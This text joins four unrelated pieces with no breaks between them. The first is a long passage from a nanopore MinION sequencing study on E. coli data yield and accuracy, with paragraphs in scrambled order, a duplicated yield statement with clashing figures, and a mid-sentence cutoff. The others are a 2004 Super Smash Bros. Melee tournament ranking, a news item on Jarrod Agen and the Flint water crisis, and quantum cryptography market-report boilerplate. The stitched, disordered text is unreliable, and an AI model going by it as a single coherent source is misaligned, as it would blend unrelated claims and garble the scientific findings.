in error for reads that were sequenced during the 4h bias-voltage adjustments ( Figure S8 ). The application of a better alignment algorithm, in this case the EM correction implemented in marginAlign, had the effect of decreasing miscalls at the expense of a slight increase in insertions and a small increase in deletions, with the net decrease in the total error of 1.9% for 2D fail base-calls and 1.1% for 2D pass base-calls ( Figure 10A ). During an experiment, the total error inferred from BWA-MEM alignments increased during the first 24h of the experiment, dropped at the 24h re-mux and library reload, then increased again until the experiment was terminated ( Figure 10 ). Use of a better alignment algorithm not only reduced the miscall, insertion, and deletion rates, but resulted in a more uniform profile of each error type during an experiment, and in particular, reduced the rate of increase of deletions during an experiment ( Figure 10C ). The 4h periodic effect observed previously in the base quality plots is also clearly evident in the error plots ( Figure 10B ). The median total error of all 2D reads was 12% ( Figure 10C, Figure S8A ), with miscalls, insertions and deletions contributing 3%, 4% and 5%, respectively ( Figure 10C ). The 2D pass reads had a slightly lower total error of 10.5% ( Figure 10A ) and the 2D fail reads a much higher value of 20.7% ( Figure 10A ), based on the best alignment strategy attempted, of BWA-MEM followed by EM correction by marginAlign. The error estimated from alignments with BWA-MEM alone were significantly higher: a median total error of 15% for all 2D reads ( Figure 10B ), 11.6% for 2D pass reads and 22.6% for 2D fail reads ( Figure 10A ). A base-called FAST5 file is classified as ‘fail’ if: (i) base-calling failed; (ii) no 2D base-calls were inferred; or (iii) the 2D base-called read had a mean quality score ≤ 9. All other reads are classified as ‘pass’ and can be considered the ‘high-quality’ reads from the experiment. Although there was substantial variability in the proportion of 2D pass reads produced during the experiments, there was a clear decrease in median percentage of 2D pass reads from 85% to 20% over the course of the first 21h of the experiment ( Figure 11 ). The drops in 2D pass yield coincide with the 4h bias-voltage adjustments ( Figure 11 ), suggesting the reads produced during these transition periods do not have correctly calibrated base qualities. To investigate the interplay between sequencing speed and base quality we determined the total time taken to sequence the template and complement bases per unit time per active channel. This provides a measure of the true mean rate that sequences were translocating through the pores. By incorporating the time for which active pores were not sequencing, an effective sequencing rate could be calculated. For a typical experiment, P1a-Lab2-R2, template and complement sequences were produced at a declining rate over the course of 24h. For both metrics, the rate at which template sequences translocate through the pore decreases more rapidly than the complement sequences ( Figure S5A ). Plotting the average occupancy rate of pores over time, alongside the number of active channels over time, demonstrates that active pores continued sequencing at similar rates until they become inactive, which happened at a relatively uniform rate during an experiment ( Figure S5B ). Thus, further investigation of how base quality ( Figure 8 ), read accuracy ( Figure 10 ) and the speed at which the DNA translocates through the pore ( Figure S5 ) over time may suggest strategies for improving base-calling. Not only did the rate of read production decrease over time for all 1D and 2D reads ( Figure S4A–D ), all experiments also exhibited a declining trend in base quality over time ( Figure 8 and Figure 9, Figure S4E ). The template, complement, and 2D bases differed from the start of each sequencing run, having a mean base quality of about 2 units less after 24h of sequencing ( Figure 8 and Figure 9 ). The increase in the rate of read production ( Figure 4 ) at the 24h mux switch was accompanied by an increase in the base quality ( Figure 8 ). Every 4h, there was a smaller-scale recapitulation of the decline followed by a return in base quality, most clearly seen in the P1b-Lab2 experiments ( Figure 8 and Figure 9, Figure S4 ), coinciding with the -5 mV bias-voltage adjustment every 4h in the 48h sequencing protocol script (mux1 voltage sequence (mV): -140, -145, -150, -155, -160, -165; followed by mux2 voltage sequence (mV): -155, -160, -165, -170, -175, -180) to maintain a more uniform current flow. The length of events and 2D base-calls of all target reads from all experiments had a linear relationship with a slope of 0.367 (ratio of 2.7 : 1) ( Figure 7A ). The median numbers of template, complement, 2D, and 2D ‘pass’ reads across the 20 experiments were 30,360, 25,370, 19,540 and 12,320 bases, respectively ( Figure 7B ); the median read lengths were 6,280, 5,940, 6,440 and 6,690 bases, respectively ( Figure 7C ); the median base yields were 167, 137, 115 and 74 million bases, respectively ( Figure 7D ); the median base yield of each type was 167, 138, 115 and 73 million bases, respectively; and the median of mean base quality of the base-calls of each type was 7.9, 7.9, 11.2 and 11.9, respectively ( Figure 7E ). With the exception of outlier experiments from P1a-Lab4-R2 (that may have been run with extra initial fuel) and P1a-Lab5 (which, for reasons unknown, sequenced DNA at a higher rate than in other experiments), the proportion of target and control reads decreased at a similar rate, suggesting the platform was not biased towards either ( Figure 6B–E ). The increasing rate of unclassifiable reads over time ( Figure 6F,G ) likely reflects decreasing read quality over time. Between 63% and 99% (median 92%) of the reads were allocated to the target sample and most of the remainder to the control sample ( Figure 6A ). Two Phase 1a experiments omitted to include the control sample (P1a-Lab3-R1 and P1a-Lab3-R2) ( Figure 6A ). Phase 1b experiments P1b-Lab3-R1 and P1b-Lab3-R2 contained a larger proportion of reads (3.7% and 15.3%, respectively) that did not map to either the target or the control reference ( Figure 6A ), suggesting contamination. Taxonomic classification of all 2D reads using Kraken version 0.10.5-beta ( Wood & Salzberg, 2014 ) found only two experiments with non- E. coli bacterial matches: P1b-Lab3-R1 had 2.3% of the reads classified as Pseudomonadales (probably Pseudomonas putida ) and P1b-Lab3-R2 had 10.7% of reads as Pseudomonales (probably P. putida ) and 2.2% as Burkholderiales (best match sp. P. delftia ), species implicated in kit contamination ( Salter et al., 2014 ) at percentages comparable to those inferred from the BWA-MEM alignments. All experiments demonstrated event accumulation rates that decreased for the first 24h, experienced a sharp increase at 24h following the pore group switch and library reload, then steadily decreased again until the run was terminated ( Figure 4A ). There was no obvious correlation between total yield and input DNA ( Figure 4B ), lab ( Figure 4B ), or phase ( Figure S2 ). The flow cells commenced sequencing at 120–200 × 10 3 events h -1 ( Figure 4G,H ). Although the experiments generated between 0.2 and 1.2 billion events ( Figure 4A ), a typical run such as P1b-Lab2-R2 generated 47% of the data (367 million events) in the first quarter (12h) of the experiment and 69% of the data (544 million events) in the first half (24h) of the experiment ( Figure 4B ). The rate at which events accumulated over time in each experiment was similar ( Figure 4 ), suggesting a shared mechanism. The decrease in event yield over time ( Figure 4C,D ) correlates with a decrease in the number of active pores ( Figure 4E,F ). However, the decreasing number of pores cannot be the sole determining factor as even when normalized for the number of active pores, the event yield still declined over time approximately linearly for the first 24h (with the exception of P1b-Lab4-R2), then less predictably for the next 24h ( Figure 4G,H ). The decrease in event length over time may be another contributing factor ( Figure 4I,J ), but the pore refill delay, or the time during which pores are idle, appears constant during a run ( Figure S3I,J ). The sequence of 5-mers inferred from a sequence of events may suggest that a base of the library molecule being sequenced has been skipped (e.g., a skip of 1 base may be inferred from a progression from AATGC to TGCCG) or that a base has been sequenced more than once (e.g., a stay may be inferred from consecutive 5-mers AATGC and AATGC). While we hypothesized that a decrease in events over time may be caused by an increase in skips and stays, we observed a decrease in the percentage of template skips ( Figure S3A,B ) but a lower and constant percentage of complement skips ( Figure S3E,F ), and an increase in template and complement stays over time ( Figure S3C,D,G,H ). In conjunction with 4h periodic effects in the plots (e.g., SI Figure 3B, P1a-Lab2-R1/R2), this suggests an increasing stay rate, possibly due to non-optimal bias voltage across the flow cell membrane, may be a contributing factor to the lower event rate observed during an experiment, and this phenomenon would benefit from further investigation. Another point to note is that the profiles of experiments produced at the same lab are more similar to each other than to experiments from other labs ( Figure 4 and Figure S3, right side plots), suggesting lab effects or the MinION device may be contributing to the effect. Experiment P1a-Lab3-R2 was notable in that it was run for almost 62h, first for 48h using the standard sequencing script, then for an additional 8.1h and 4.8h with two starts of a modification of the MAP_48Hr_Sequencing_Run recipe script, MAP_2×8hrs_180_190_Sequencing_Run.py that performs a new allocation of wells to well-groups (re-mux) ( File S2 ) well selection followed by 8h of sequencing at each of -180 mV and -190 mV, respectively (SQK–MAP005 script developed by John Tyson available to the MAP community at https://wiki.nanoporetech.com/x/tgLDAQ ). During the extra 15h, the total accumulated yield increased by 8% ( Table S6, Table S8 ), demonstrating that good flow cells can continue to produce significant amounts of data with the appropriate software. The highest data yield was from experiment P1a-Lab3-R1, which commenced sequencing with the highest number of active g1 pores (506/512 = 98.8%) to produce over 138 thousand reads and almost 2 billion (1×10 9 ) events within the callable read length range ( Table S4, Table S6 ). The library for this experiment contained a DNA input mass of 60 ng in 12 μL of PSM, which was less than the median of 70 ng across the 20 experiments ( Table S6 Experiments). That the two experiments with the highest event yield (P1a-Lab3-R1 and P1b-Lab4-R1) used a lower mass of input DNA (60 ng and 9.1 ng, respectively), confirms that the amount of DNA loaded is greater than that required to keep the active pores adequately supplied with DNA molecules. To evaluate whether the variation could be due to deviations from the MARC protocol, we examined event data generated by the g1 pores of the first start of all 20 experiments, all of which ran for at least 23 hours. No significant relationship was found between the total read count, total event yield or event lengths and the input DNA mass (Pearson’s correlation coefficient, p=0.036, 0.221 and 0.149, respectively). Similarly, the Kruskal-Wallis test found no significant difference between the number of reads, total event yield, or median event lengths between the Phase 1a and 1b experiments (p=0.290, 0.151 and 0.482, respectively), the five labs (p=0.482, 0.159 and 0.263, respectively), or the 6 experiments that strictly adhered to the MARC protocol and the remainder of the experiments (p=0.909, 0.183, and 0.119, respectively). The median read lengths from the 20 experiments indicate most experiments had a broad distribution with a peak around 10,700 events and a long tail containing a very small number of reads that reached the upper limit of 230,000 events ( Figure 3E,F ). Typically, a median of 20% of the reads had a length of at least 21,000 events ( Figure S1A ), and 50% of the events were in reads of at least 13,600 events, 25% of the events were in reads of at least 29,000 events, and 5% in reads of at least 56,600 events ( Figure S1B ). The event generation rate was not constant during a sequencing run. Of the 9 experiments that ran for at least 46h, 67% of the events were produced in the first 24h ( Figure 4A,B ). Although a higher read count is associated with a higher event yield ( Figure 5A ), neither the number of reads nor the event yield was strongly correlated with the number of active g1 pores ( Figure 5B,C ), suggesting data yield is not solely dependent on the number of initial active pores. Although the experiments that followed the MARC wet-lab protocol precisely (blue triangles, Figure 5 ) had a higher event yield to read count and higher event yield to initial g1 pore count, the effect was not large and does not form a distinguishable cluster among the rest of the experiments. If the deviations from the established protocol can be considered as corresponding to normal variation in use, examination of the total data produced by the 20 Phase 1 experiments provides an indication of the total yield that can be expected from the current platform. We found a high level of variability among the 20 experiments that was only partially attributable to protocol deviations: a median of 60,600 reads (inter-quartile range (IQR) of 38,000 to 74,000, max. 139,000) ( Figure 3A,B ) containing 650,000 events (IQR 434,000 to 750,000, max. 1.9 million) ( Figure 3C,D ). Very few (~0.2%) of the events were in reads that were not base-called by Metrichor because they were outside the pre-set callable length range of 200 events to 230,000 events. Anecdotal reports from MAP participants have suggested that the temperature of the flow cell can affect the performance and data quality of the MinION. In our experiments, each flow cell operated at a characteristic temperature with only minor fluctuations over time. All flow cells had an ASIC temperature between 23.9 and 35.2 ° C (median 26.8 ° C) and a heat-sink temperature of 36.8 to 38.6 ° C (median 37.0 ° C). There was no correlation between the DNA input mass or fuel amount and the resulting operating temperature, and temperatures observed during Phases 1a and 1b were similar. The flow cells with the highest yields, P1a-Lab3-R1 and P1b-Lab4-R1, had ASIC temperatures that spanned the range observed (26.9 ° C and 35.2 ° C, respectively), suggesting that operating temperature does not tend to affect data yield. Despite the existence of a detailed standard protocol, a number of method deviations were recorded arising variously from wet-lab omissions or errors, flow cell quality issues, and computer software and hardware issues ( Table S5 ). Thus, we could not use all the data generated to infer the yield, accuracy, and variability produced by a MinION because of the variations among the 20 experiments ( Table 2, Table S5 ). Eleven of the experiments (P1a: N=4; P1b: N=7) adhered precisely to the wet-lab component of the standard MARC protocol; the other 9 contained at least one variation, mostly due to uncontrollable factors ( Table 2, Table S5 ). Therefore, data was restricted to reads generated during the first execution of the MAP_48Hr_Sequencing_Run script (held in common among experiments) and those generated under common, near-standard conditions. With this strategy, we avoided unusual data accumulation patterns resulting from experiment restarts, which results in well swapping via pore reselection (re-mux), while still taking advantage of all 20 experiments, even those that terminated before 48h due to computer failures or flow cell issues. Each start of the MAP_48Hr_Sequencing_Run protocol generates one batch of data, with up to ½ h being from flow cell calibration and mux pore selection, the next 24h being from the first well-group pores, and the remainder from the second well-group pores. We generated reads from the g1 and g2 well-group pores of the first start of 20 and 17 experiments, respectively. Of the 7 experiments that started the sequencing protocol for a second time, 7 generated data from the g1 well-group pores and 1 from the g2 well-group pores. Similarly, for the 3 experiments that had a third start, 3 experiments generated data from the g1 well-group pores and 1 from the g2 well-group pores ( Table 2 ). Once started, the MAP_48Hr_Sequencing_Run protocol performs a ‘Platform QC’ to allocate active pores to well-groups 1 through to 4, starts sequencing with the active pores in well-group 1, switches to use the active pores in well-group 2 at 24h, and automatically terminates at 48h. However, the sequencing protocol was aborted or restarted at least once for 5 of the Phase 1a and 3 of the Phase 1b experiments because: (i) the number of active pores and the data yield were so low that the user decided to discontinue the run without a restart (N=4); (ii) the sequencing computer crashed (N=1); or (iii) the hard drive filled up (N=3) ( Table 2, Table S8 ). While the sequencer was being restarted, there was usually a period when it was idle, explaining differences between the total sequencing time and the total time over which the device was active (c.f. seq_duration_hrs and run_duration_hrs, Table S8 ). In addition, 6 of the 20 sequencing experiments were restarted at 48h ( Table 2, Table S8 ) to test whether the device can continue to produce good data beyond the standard 48h script provided by Oxford Nanopore, but all such data were excluded from this analysis. All Phase 1a and 1b experiments were performed over a period of about one month each, between 27 March and 27 April 2015, and between 15 and 21 April 2015, respectively ( Table S6 ). Comparison of the sequencing-related attributes stored in the FAST5 files ( Table S2 ) confirmed that most parameters were identical among and between the Phase 1a and 1b experiments, the exceptions being minor variations in the versions of the MinKNOW and Metrichor Desktop Agents, the Oxford Nanopore sequencing protocol and the event detection software ( Table 1, Table S7 ). The number of active pores in each of the four well-groups was measured once during the Platform QC (-180 mV) (steps 52-53, File S1 ) before sequencing commenced and at the start of the 48h sequencing protocol (-140 mV) (step 87, File S1 ), and one of these measurements was recorded for each flow cell ( Table S4 ). Although the numbers reported by the Platform QC are higher than mux numbers from the 48H script, possibly due to the different bias voltage used by the two scripts, either value gives a good indication of initial flow cell quality. The median number of active pores reported across the experiments was 484, 409, 262 and 78 for well-groups g1 to g4, respectively, which corresponds to 95, 80, 51 and 15% of the theoretical maximum of 512 each ( Figure 2 ). The standard sequencing protocol only utilizes the first two well-groups during a run. Thus, although on average 60% of the 2,048 wells contained an active pore, only 44% of all pores in a typical flow cell were available for sequencing utilizing the standard sequencing protocol ( Figure 2 ). The Phase 1a and Phase 1b experiments started with an E. coli template DNA mass of 1 μg and 1.5 μg, respectively. A fraction was lost during each clean up step of the library preparation protocol so that after fragmentation, end repair, and dA-tailing, only 17% of the Phase 1a and 29% of the Phase 1b starting DNA was retained ( Table S4 ). Measurements of the P1a-Lab4-R1 DNA size distribution revealed a peak at ~15 Kb that subsequently translated into a typical read-length distribution, suggesting that the read length achieved by the MinION closely resembles the length of the input DNA fragments. A total of 20 experiments (individual flow cell runs) were performed in two stages (Phase 1a and 1b) by five laboratories. Experiments from Phase 1a and 1b used the SQK–MAP005 and SQK–MAP005.1 Genomic DNA Sequencing Kits, respectively, which required a template mass of 1 µg and 1.5 µg, and library volume of 6 µl and 12 µl, respectively. Each laboratory ( Table S1 ) undertook two identical replicate experiments for each kit version. The 20 experiments are henceforth referred to as P1a-Lab1-R1 to P1b-Lab5-R2, following a ‘phase-lab-replicate’ format. Discussion The overall objective of MARC is to provide a definitive description of the Oxford Nanopore Technologies sequencing platform through a flexible publication strategy that accommodates the rapid pace of nanopore sequencing technology development. In this first phase of the MARC collaboration, we generated 20 datasets at five laboratories on different continents for the same E. coli bacterial strain, with sufficient lab replicates to be able to quantify the data yield, quality, accuracy and reproducibility that can be expected from the MinION, flow cells, chemistry, software and protocols available in April 2015. We demonstrated that there was considerable variability in the quality of flow cells, but all flow cells that had a high number of active pores when they arrived at their destination laboratory produced data of comparable yield, quality and accuracy. This dataset, the largest replicate sequencing effort of its kind on nanopore sequencing to date, is published here to allow continued independent investigation by the broader scientific community and enable more rapid development of algorithms and software for these data. The MARC Phase 1 experiments were designed to provide benchmark data that explored the relative contributions of instrument, flow cell, laboratory and user to the variation in MinION system performance observed by the MAP community. The experiments in this study (Table S6) followed a standard protocol based on that recommended by Oxford Nanopore at the time of the study, with clear choices made for the procedure to be followed when optional or open-ended steps existed. The protocol that we followed in this study (File S1 MARC protocol) was based on the standard SQK-MAP005 protocol provided by Oxford Nanopore (version MN005_1124_revC_02Mar2015, last modified 10 June 2015), the only amendment being the use of 12 µl of library in Phase 1b and annotations to make the protocol clearer. The large number of replicates allowed us to make generalisations about the data yield and quality. Utilizing version R7.3 flow cells and SQK-MAP005 chemistry, a typical experiment yielded 115 million 2D bases in ~20,000 reads with a median protocol-specific shearing length of 6,500 bases and mean base quality of 11.2. When the 8 Kb shearing protocol was used, approximately 4.5% of the 2D reads had a length of at least 10,000 bases, with some having a length of over 50,000 bases. Up to 10% of the reads of an experiment were from the DNA CS control added during library preparation. About 32% of the reads from an experiment result in 2D reads from the target genome. The accuracy of base-calls decreases during the course of an experiment. However, the total error of individual 2D base-calls was ~12%, with miscalls, insertions and deletions contributing ~3%, ~4% and ~5%, respectively. A single experiment yielded sufficient 2D bases for ~25-fold coverage of the target E. coli genome. When restricted to 2D ‘pass’ reads, the yield decreased to ~12,000 reads containing 75 million bases with a read length distributed centred around 6,700 bases and a mean base quality of 11.9. A 2D base yield corresponding to at least 20-fold coverage of the target genome was required to correctly call 99.90% of the 4.6 Mb E. coli genome, and 60-fold coverage to correctly call 99.99% of the genome, from the majority consensus of mapped reads. Although the MARC standard protocol was documented in great detail, the quantity and quality of the output data varied due to many steps being sensitive to the quality of the materials and reagents used, stochastic variation in the application of the steps, accidental deviations from the protocol, and unexpected computer failures during a sequencing run. A large component of variability in MinION data quality was contingent on lab-specific behaviour. Although a number of minor deviations from the standard MARC protocol occurred, we found that the wet-lab method variations (e.g., DNA mass used to prepare a library, sheared length of DNA or the volume of library loaded on a flow cell) and occasional failures of computer software or hardware affected reproducibility but had minimal effects on data quality. The one notable exception was the amount of fuel mix, where a higher concentration of fuel mix loaded at the start of run P1a-Lab4-R2 was the most plausible explanation for the unusually high sequencing rate, shorter reads and poorer base qualities observed. According to Oxford Nanopore, a ‘fast mode’ enhancement will soon become available, including fine tuning of the event detection parameters to ensure that long read lengths are maintained upon addition of more fuel mix to increase speed. The MinKNOW program, that uses sequencing protocol scripts to control the MinION device, was regularly upgraded during the study, as was the Metrichor agent that performed base-calling. In both instances, sequencing related parameters were similar during the period of our investigation. However, local forced restarts of the scripts were found to be the largest source of variation among the 20 runs, resulting in extreme variation in the length of the sequencing run, event yield and the event generation profiles. Restarts alter the specific pores being used for sequencing via mux selection and also disrupts a very prescribed bias-voltage profile required for an ideal ‘fresh’ flow cell to operate optimally through a 48h sequencing run. Alteration away from the ‘standard’ experimental conditions can therefore have a large impact on the performance of a flow cell, both positive and negative depending on parameters used, and confounds comparative analysis. The performance of the MinION device itself was consistent. Each experiment ran at a characteristic temperature within an acceptable range that did not fluctuate during an experiment and no experiments experienced failures due to problems with the device. Although GC biases may be hard to detect through the sequencing of an E. coli strain with a mean GC content close to 50%, we did not observe a genome-wide GC bias in the 2D reads produced by this platform. Neither longer target nor shorter control library molecules were sequenced preferentially during the experiments, and the accuracy of target and control base-calls was very similar. The most important determinant of data yield was the initial number of active pores in the flow cell. On delivery, ~60% of all the pores on the flow cell were usable and the best flow cells had ~95% and 80% active pores in the g1 and g2 well-groups at the commencement of an experiment. Active pores were sequencing for ~90% of their active time, with a uniform idle period between library molecules suggesting pores have consistent performance until they become inactive. The first hour of a run is generally predictive of total run yield. Flow cells that commenced sequencing with at least 400 of the maximum of 512 well-group g1 pores yielded optimal event yield profiles from high quality libraries. The similarity of the 2D base quality profiles from the same lab suggest the base quality of an experiment may be dependent on the characteristic human or equipment-related sequencing conditions in a laboratory. But it is also possible that it may be due to the shipping procedure to that location. Thus, the reason for the decrease in base-call accuracy during an experiment is still not fully understood, but the large number of replicate experiments in this study, carried out in five laboratories on different continents, is the best available resource for exploring the possible mechanisms. The characteristic trend observed for all metrics of data quality produced by the current group of pores was a steady decrease over time, punctuated by a fluctuation every 4h coinciding with the pre-set bias-voltage adjustment. We hypothesize that variations in sequencing rate (measured in bases per second) were caused by decreasing flow cell performance over time that is not accounted for in the base-calling models. The adjustments in bias voltage every 4h appear to mitigate some of these effects, but the frequency of these adjustments do not track the changing state of the flow cell closely enough to result in uniform data quality during an entire experiment. This suggests the pre-programmed bias-voltage adjustments have been optimized for the library preparation protocol recommended for that flow cell chemistry, and the particular volumes of library and fuel expected during the sequencing run. As such, software or protocols that could maintain synchrony between these two aspects of the sequencing process may significantly improve the overall performance of the technology and confirm that re-calling bases of older experiments with new software is probably not advisable. The addition of more library and fuel mix coincided with the switch from the use of the g1 to g2 pores, so it was not possible to tell which of the two factors was responsible for any changes in data yield or quality, or whether the lower overall performance in the second 24h period of the experiment may have been due to degradation of the DNA, adapters or motor proteins during 24h of storage. However, the increase in read production rate (Figure 4), and quality after the 24h mux switch suggest ‘fresh’ pores and/or sample produce higher quality data (Figure 8). Given that the base-calling algorithm is tuned to use normalized current profiles, ‘mid’-read bias-voltage changes would compromise this process and we hypothesize it causes a disproportionate decrease in the quality of the base-calls for a short transition period until complete reads are produced under the same ionic driving force. The similarity of the 2D base quality profiles from the same lab
and then defeat the best player in your national scene with Bowser. It’s the equivalent of someone coming from another country, defeating Mango with, well, Bowser before the tournament and then saying that there’s a guy even better than him. Tournament Go 6 also featured some of the most shocking upsets in Melee history. Along with PNW’s best player Sastopher upsetting Ken in winners bracket, TG6 featured a then unknown-Sheik player named DieSuperFly, who had only been playing the game for about half a year, and entered only two other national tournaments at that point within a month, upsetting Ken, causing the formerly untouchable king of smash to finish in a humiliating ninth place. At least Sastopher was unquestionably the best in his region and was thought of as one of the best Peach players in the world – DSF was essentially a nobody who had just eliminated a god from tournament. Chu Dat’s performance this tournament also singlehandedly brought up if Ice Climbers were better than people thought, with his wins over players like Zulu, Wes, Isai (twice) and even Sastopher: in a matchup that many thought was unwinnable. Chu Dat had succeeded locally before, but make no mistake: despite getting double eliminated by Captain Jack (while attempting Sheik and Jigglypuff counterpicks), Chu Dat has Tournament Go 6 to thank for being a catalyst to his rise as one of the best Melee players of all-time. TG6 also included a bizarre counterpick war in winners and grand finals between Azen and Captain Jack after Azen infamously chaingrabbed him during Sheik dittos, despite the latter refusing to do so. This prompted Captain Jack to choose Doctor Mario instead, while Azen picked Marth later to counter the Doc. After three grueling best-of-seven sets between the two, Azen won, prompting many to say that he was now the new world No. 1. Obviously, it wasn’t as simple as that, but he certainly now held the championship belt. There’s much more we could say about TG6, which also was the first international major to use four stocks, but we’ll save it for another article. For now, I’d highly recommend reading this highly entertaining post-tourney Smashboards post by the organizer Matt Deezie, who talks about what kind of guests smashers were at his house. MLG Seattle 2004 August 22 1. Rori 2. Jv3x3 3. Jrta We don’t know much about this tournament, but in case you’re wondering about its second place player, the answer is yes. That’s the same JV who provided the basis for the term “JV,” in which a player who finishes a match without any percent on Stock X can claim to finish with a “JV(X+1)” match. Was that the most confusing explanation ever? Maybe. MLG San Francisco 2004 (50 entrants) September 12 1. Captain Jack 2. Isai 3. Ken 4. Chu Dat 5. NEO/Wes 7. Manacloud/?? Captain Jack’s return to the states wasn’t just surprising because he won, but also because of Isai eliminating Ken from bracket. Keep in mind that this was now the second event in a row where Ken had failed to win. Consider how there was now a wide open spot for who the world’s definitive No. 1 player was. If it wasn’t Ken any more, was it Azen because of his performance at TG6? Or did Captain Jack clearly take the mantle at MLG San Francisco, showing that he held dominance over the West Coast? How good was Masashi to where even Captain Jack claimed to be worse? Would Isai be the best in singles if he tried? Show Me Your Moves 2 September 25 1. KishSquared 2. Darkrain 3. KishPrime 4. KishCubed In the second of the Midwest’s premier series, KishSquared took the crown for SMYM2, while Darkrain had his first top eight finish at a regional. DCSS #3 September 25 1. Azen 2. Chillin 3. NEO The last of an inconsistently ran Maryland series of tournaments, only 30 or so entrants came, per ssbwiki. Azen won the tournament with relative ease, not dropping a set. MLG Los Angeles 2004 (somewhere “under 100 entrants”) September 26 1. Ken …9. HugS (?) For an event that took place in such a smash-heavy place like Los Angeles, you’d think there would be more information about this event. Unfortunately, this is all we have. Congratulations to HugS for breaking out at this tournament! Gettin’ Schooled (63 entrants) October 4 1. Azen/Mike G./Chu Dat 4. NEO 5. Oro 6. Ryoko 7. Wes 8. Wife/Chops 10. E-Man 11. Philly 12. SD Fox 13. Ricky/Cava/Chillin While this was an exceptionally hyped tournament due to the influx of MDVA, Midwest and NYC talent coming down, Getting Schooled also marked Chillin’s worst placing of the year, as he finished only 13th. The tournament wasn’t run efficiently either, as Azen, Mike G and Chu Dat split for first due to the lack of time. MLG Boston 2004 October 10 1. Azen 2. Wes Not much we know here, other than this. MLG New York 2004 October 24 1. Ken 2. Isai 3. Captain Jack 4. Azen 5. Husband Just like that, in the last major event of 2004, Ken silenced any doubters that thought he had lost his edge as the world’s best player (possibly Masashi withstanding). Azen also finished a disappointing fourth-place, showing that he still had flaws in his gameplay, while Isai got his revenge on Captain Jack and played Ken in ten thrilling games. — Because we were criticized last time for giving readers “blue balls,” (by none other than tafokints and the Crimson Blur) by just listing our Top 10, here’s a brief explanation for each of our picks, though again – we acknowledge the inherent lack of data. NOTE: We decided not to include Masashi or any of the international players who did not enter an American tournament, due to too much speculation being needed. 10. Mike G Even with a disappointing 25th place at TG6, Mike G was one of DA’s best players. At three of the year’s other tourneys, Mike G either placed second or first (well, tied for first). It doesn’t hurt that he one of the forefathers of Peach’s meta in the pre-Armada era. 9. Rob$ Rob$, then one of Texas’s best smashers and hailing from Crystal City, had one of the year’s most underlooked tournament runs at TG6, where he defeated players like Lunaris, GERM, DA Dave and the Ken-slayer DSF en route to a fifth place finish, showing that he might have taken the mantle for world’s best Falco. A lack of data prevents him from being higher, though you could certainly vouch for him. 8. Chillin While he left quite a lot to be desired, with a few inconsistent showings after defeating Ken early in the year, it’s important to note that Chillin also had victories over Azen and Chu Dat. Even if the latter two were his training partners, his victories here still stand as testament to Chillin’s clear potential as a player. 7. Wes DA’s loudest trash talker and the world’s first premier Samus player, Wes had many good showings, traveling out of New York frequently and placing in the top eight everywhere he went. A lack of a top tier win, however, hurts his placing on our list. 6. Sastopher The way people talked about Sastopher beating Ken back at TG6, you’d think that he was a random Peach. However, at the time, the Washington Peach was his region’s best player and he rarely, if ever dropped sets locally to other players. Though beating Ken was certainly a significant upset in Melee’s history, it was nowhere near as random and seemingly out of nowhere as the one to DSF. 5. Chu Dat We mentioned Chu Dat’s legendary Tournament Go 6 run, which skyrocketed him to our top five alone. However, he was just behind Azen in the race to become MDVA’s best player – and after Game Over, Chu Dat never placed outside the top four of a tournament. How’s that for consistency, for the world’s first ever top-level Ice Climbers? 4. Isai Other than the fact that he was the first relevant Captain Falcon player and a guy who was doing things like shield dropping, tech chasing and triple kneeing long before Darkrain reached his prime, Isai also had a terrifyingly good Sheik and was commonly thought of as the world’s best doubles player. In fact, before Game Over, many wondered if Isai was actually better than Ken and just didn’t care enough to compete. 3. Azen Putting Azen less than first might feel strange for viewers, given his victory at the world’s biggest tournament in TG6. However, his 0-4 record against Ken hurts – and even his record against Captain Jack is split at 2-2 despite his TG6 win. Nevertheless, Azen never dropped a serious set outside of the top four for the year, only losing once to Chillin while playing Mario. 2. Captain Jack With a first place at MLG San Francisco 2004 over both Ken and Isai, split sets against Azen and having a status as Japan’s second best player, Captain Jack also solidly vanquished every other American player he entered. If he was this good, could you imagine how good Masashi was? Think of it this way: could you imagine anyone else’s low-tiers beating Ken in friendlies before the year’s biggest tournament? 1. Ken Ken had several hiccups on the year, losing to Isai, Captain Jack, DieSuperFly, Chillin and Sastopher, but by the year’s end, he delivered a dominating performance at MLG New York 2004, finishing first at a tourney with the other top four without dropping a single set. Add in his undefeated record against Azen, the East Coast’s best and his history of dominating all of 2003 without a single loss and you have someone who, even with questionable losses, was still thought of as Melee’s king.FLINT, MI -- When he took over as Gov. Rick Snyder's chief of staff in 2016, Jarrod Agen received a message from the man he was replacing. "Welcome to the job," Dennis Muchmore wrote to his successor. "It's one of those where tomorrow you'll have another set of even more ugly decisions." Agen survived the ugly decisions, many of which were tied to the Flint water crisis, helping Snyder's administration weather the roughest storm since he was elected to his first term in 2010. On Wednesday, Agen was named director of communications for Vice President Mike Pence and deputy assistant to President Trump. When he went to work as chief of staff for Snyder, Agen's boss had already acknowledged failures in state government tied to the water crisis, and Flint had ended its failed experiment of making the Flint River the city's water source, but the issue wasn't over. Snyder chief of staff heads to White House for position with Mike Pence Gov. Rick Snyder's chief of staff, Jarrod Agen, is headed to the White House for a new job with Vice President Mike Pence. Here's some of Agen's involvement in the issue, including time he spent as director of communications for the governor -- his previous job: Received, but never opened: Advised to take money out of the Flint water equation: Call for action on 'public relations crisis:' The Snyder administration waited until September to acknowledge problems with lead in Flint water and for another full year before activating the National Guard to begin intensive bottled water distribution.In case of you can’t find what you are looking for, then please get in touch with our custom research team at sales@techsciresearch.com Further bifurcation in the regional market With the given market data, TechSci Research offers customizations according the company’s specific needs. The following customization options are available for the report: Available Customizations: Company Profiles: Detailed analysis of the major companies providing Quantum Cryptography. Others Qubitekk, Inc. Quintessence Labs Pty Ltd. MagiQ Technologies, Inc., APAC Market by Company: Market by Region: Others IT & Telecom Market by End-User: Others • Market by Application: Market by Enterprise: Market by Component: In this report, the global quantum cryptography market has been segmented into the following categories in addition to the industry trends which have also been detailed below: The study is useful in providing answers to several critical questions that are important for industry stakeholders such as Quantum Cryptography, providers, companies, customers and policy makers, about the targeted market segments in the coming years in order to strategize investments and capitalize on the growth of specific market segments. Market research and consulting firms Associations, organizations, forums and alliances associated with Quantum Cryptography & start ups IT & Telecom sector TechSci Research calculated the market size for the global quantum cryptography market using a bottom-up approach, where data for different components for standard application was recorded and forecast for the future years. TechSci Research sourced these values from industry experts and company representatives and these were externally validated through analyzing historical data of Quantum Cryptography market to arrive at the overall market size. Various secondary sources such as company website, annual reports, World Bank website, government websites, press releases, company annual reports, white papers, investor presentations and financial reports were also studied by TechSci Research. TechSci Research performed both primary as well as exhaustive secondary research for this study. Initially, TechSci Research sourced a list of country wide Quantum Cryptography solution and component providers. 